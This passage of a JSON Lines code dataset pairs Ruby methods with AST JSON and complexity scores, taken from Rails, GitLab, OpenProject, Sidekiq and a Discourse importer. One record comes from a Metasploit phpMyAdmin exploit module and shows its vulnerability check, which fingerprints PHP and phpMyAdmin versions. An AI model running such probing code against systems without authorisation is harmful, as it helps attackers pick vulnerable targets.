a.ApplicationId, a.ApplicationContentTypeId, a.ContentId, a.FileName, a.IsRemote\\n\"]},{\"type\":\"str\",\"children\":[\"FROM te_Forum_Threads t\\n\"]},{\"type\":\"str\",\"children\":[\"  LEFT JOIN te_Attachments a\\n\"]},{\"type\":\"str\",\"children\":[\"    ON (a.ApplicationId = t.ForumId AND a.ApplicationTypeId = 0 AND a.ContentId = t.ThreadId AND\\n\"]},{\"type\":\"str\",\"children\":[\"        a.ApplicationContentTypeId = 0)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE t.ThreadId > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_topic_id\"]}]},{\"type\":\"str\",\"children\":[\" AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_forum_sql_condition\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY t.ThreadId\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"blank?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"ThreadId\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_records_exist?\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[null,\"import_topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ThreadId\"]}]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserId\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"import_topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ThreadId\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Subject\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"raw_with_attachment\",{\"type\":\"lvar\",\"children\":[\"row\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"topic\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[null,\"category_id_from_imported_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ForumId\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateCreated\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"IsLocked\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"views\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TotalViews\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_create_action\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action_post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_post\"]},\"topic\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"pinned_until\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"pinned_until\"]},{\"type\":\"sym\",\"children\":[\"unpin_topic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"f/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ForumId\"]}]}]},{\"type\":\"str\",\"children\":[\"/t/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ThreadId\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"import_topic_views\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TopicContentId\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StickyDate\"]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pinned_until\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StickyDate\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pinned_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateCreated\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}]}]}]}]}","id":"60c231b9-9ad1-4dde-890d-f312548d345d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1804,"raw_source":"def test_destroying\n    force_signal37_to_load_all_clients_of_firm\n\n    assert_predicate companies(:first_firm).clients_of_firm, :loaded?\n\n    assert_difference \"Client.count\", -1 do\n      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)\n    end\n\n    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size\n    assert_equal 1, companies(:first_firm).clients_of_firm.reload.size\n  end","complexity_score":29.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_destroying\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force_signal37_to_load_all_clients_of_firm\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients_of_firm\"]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Client.count\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients_of_firm\"]},\"destroy\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients_of_firm\"]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"reload\"]},\"clients_of_firm\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients_of_firm\"]},\"reload\"]},\"size\"]}]}]}]}","id":"84a203f3-04ee-4dc0-9aa7-75d97b3f56ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241119143004_async_validation_for_builds_pipelines_fk.rb","start_line":16,"raw_source":"def up\n    add_concurrent_partitioned_foreign_key(\n      SOURCE_TABLE_NAME,\n      TARGET_TABLE_NAME,\n      column: [PARTITION_COLUMN, COLUMN],\n      target_column: [PARTITION_COLUMN, TARGET_COLUMN],\n      validate: false,\n      reverse_lock_order: true,\n      on_update: :cascade,\n      on_delete: :cascade,\n      name: FK_NAME\n    )\n\n    prepare_partitioned_async_foreign_key_validation SOURCE_TABLE_NAME, name: FK_NAME\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_foreign_key\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PARTITION_COLUMN\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PARTITION_COLUMN\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_COLUMN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_partitioned_async_foreign_key_validation\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]}]}]}]}]}","id":"56310dc4-445d-42bf-8a5f-a580b4ddce5b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods.rb","start_line":183,"raw_source":"def dangerous_attribute_method?(name) # :nodoc:\n        ::ActiveRecord::AttributeMethods.dangerous_attribute_methods.include?(name.to_s)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"dangerous_attribute_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ActiveRecord\"]},\"AttributeMethods\"]},\"dangerous_attribute_methods\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}","id":"3d85a858-dfbb-4b0b-bae1-0769d218ea9d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":1042,"raw_source":"def test_first_action_in_multiple_before_action_chain_halts\n    controller = ::FilterTest::TestMultipleFiltersController.new\n    response = test_process(controller, \"fail_1\")\n    assert_equal \"\", response.body\n    assert_equal 1, controller.instance_variable_get(:@try)\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first_action_in_multiple_before_action_chain_halts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"FilterTest\"]},\"TestMultipleFiltersController\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"fail_1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@try\"]}]}]}]}]}","id":"abc2411b-7d3d-4c68-9c0e-cc5a398682fc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/rescuable_test.rb","start_line":135,"raw_source":"def test_rescue_from_with_block\n    @stargate.dispatch :nuke\n    assert_equal \"alldead\", @stargate.result\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rescue_from_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"dispatch\",{\"type\":\"sym\",\"children\":[\"nuke\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"alldead\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"result\"]}]}]}]}","id":"4691e4d7-6a42-4c21-a646-8a38159d8f4f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/phpmyadmin_preg_replace.rb","start_line":65,"raw_source":"def check\n    begin\n      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })\n    rescue\n      vprint_error(\"Unable to connect to server.\")\n      return CheckCode::Unknown\n    end\n\n    if res.code != 200\n      vprint_error(\"Unable to query /js/messages.php\")\n      return CheckCode::Unknown\n    end\n\n    php_version = res['X-Powered-By']\n    if php_version\n      vprint_status(\"PHP Version: #{php_version}\")\n      if php_version =~ /PHP\\/(\\d)\\.(\\d)\\.(\\d)/\n        if $1.to_i > 5\n          return CheckCode::Safe\n        else\n          if $1.to_i == 5 and $2.to_i > 4\n            return CheckCode::Safe\n          else\n            if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6\n              return CheckCode::Safe\n            end\n          end\n        end\n      end\n    else\n      vprint_status(\"Unknown PHP Version\")\n    end\n\n    if res.body =~ /pmaversion = '(.*)';/\n      print_status(\"phpMyAdmin version: #{$1}\")\n      case $1.downcase\n      when '3.5.8.1', '4.0.0-rc3'\n        return CheckCode::Safe\n      when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'\n        return CheckCode::Appears\n      else\n        if $1.starts_with? '3.5.'\n          return CheckCode::Appears\n        end\n\n        return CheckCode::Detected\n      end\n    end\n\n    CheckCode::Safe\n  end","complexity_score":62.13,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/js/messages.php\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to connect to server.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to query /js/messages.php\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"php_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Powered-By\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_version\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP Version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_version\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP/(\\\\d)\\\\.(\\\\d)\\\\.(\\\\d)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[3]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},null]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Unknown PHP Version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"pmaversion = '(.*)';\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"phpMyAdmin version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"downcase\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"3.5.8.1\"]},{\"type\":\"str\",\"children\":[\"4.0.0-rc3\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"4.0.0-alpha1\"]},{\"type\":\"str\",\"children\":[\"4.0.0-alpha2\"]},{\"type\":\"str\",\"children\":[\"4.0.0-beta1\"]},{\"type\":\"str\",\"children\":[\"4.0.0-beta2\"]},{\"type\":\"str\",\"children\":[\"4.0.0-beta3\"]},{\"type\":\"str\",\"children\":[\"4.0.0-rc1\"]},{\"type\":\"str\",\"children\":[\"4.0.0-rc2\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"3.5.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]}]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"24ee8965-62af-4a6f-bef4-1b631e7f0731"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/table.rb","start_line":33,"raw_source":"def initialize(work_packages_by_identifier, relations)\n      @work_packages_by_identifier = work_packages_by_identifier\n      @relations = relations\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages_by_identifier\"]},{\"type\":\"arg\",\"children\":[\"relations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@work_packages_by_identifier\",{\"type\":\"lvar\",\"children\":[\"work_packages_by_identifier\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@relations\",{\"type\":\"lvar\",\"children\":[\"relations\"]}]}]}]}","id":"d77eb70f-36df-4bb6-8aa0-797f5f1d982e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/notifications/notifications_api.rb","start_line":83,"raw_source":"def update_status(attributes)\n                @notification.update_columns({ updated_at: Time.zone.now }.merge(attributes))\n                status 204\n              end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"update_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"int\",\"children\":[204]}]}]}]}","id":"2381791e-66e0-48ed-ac32-246d4734d2af"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job_retry.rb","start_line":271,"raw_source":"def run_death_handlers(job, exception)\n      @capsule.config.death_handlers.each do |handler|\n        handler.call(job, exception)\n      rescue => e\n        handle_exception(e, {context: \"Error calling death handler\", job: job})\n      end\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_death_handlers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@capsule\"]},\"config\"]},\"death_handlers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handler\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\"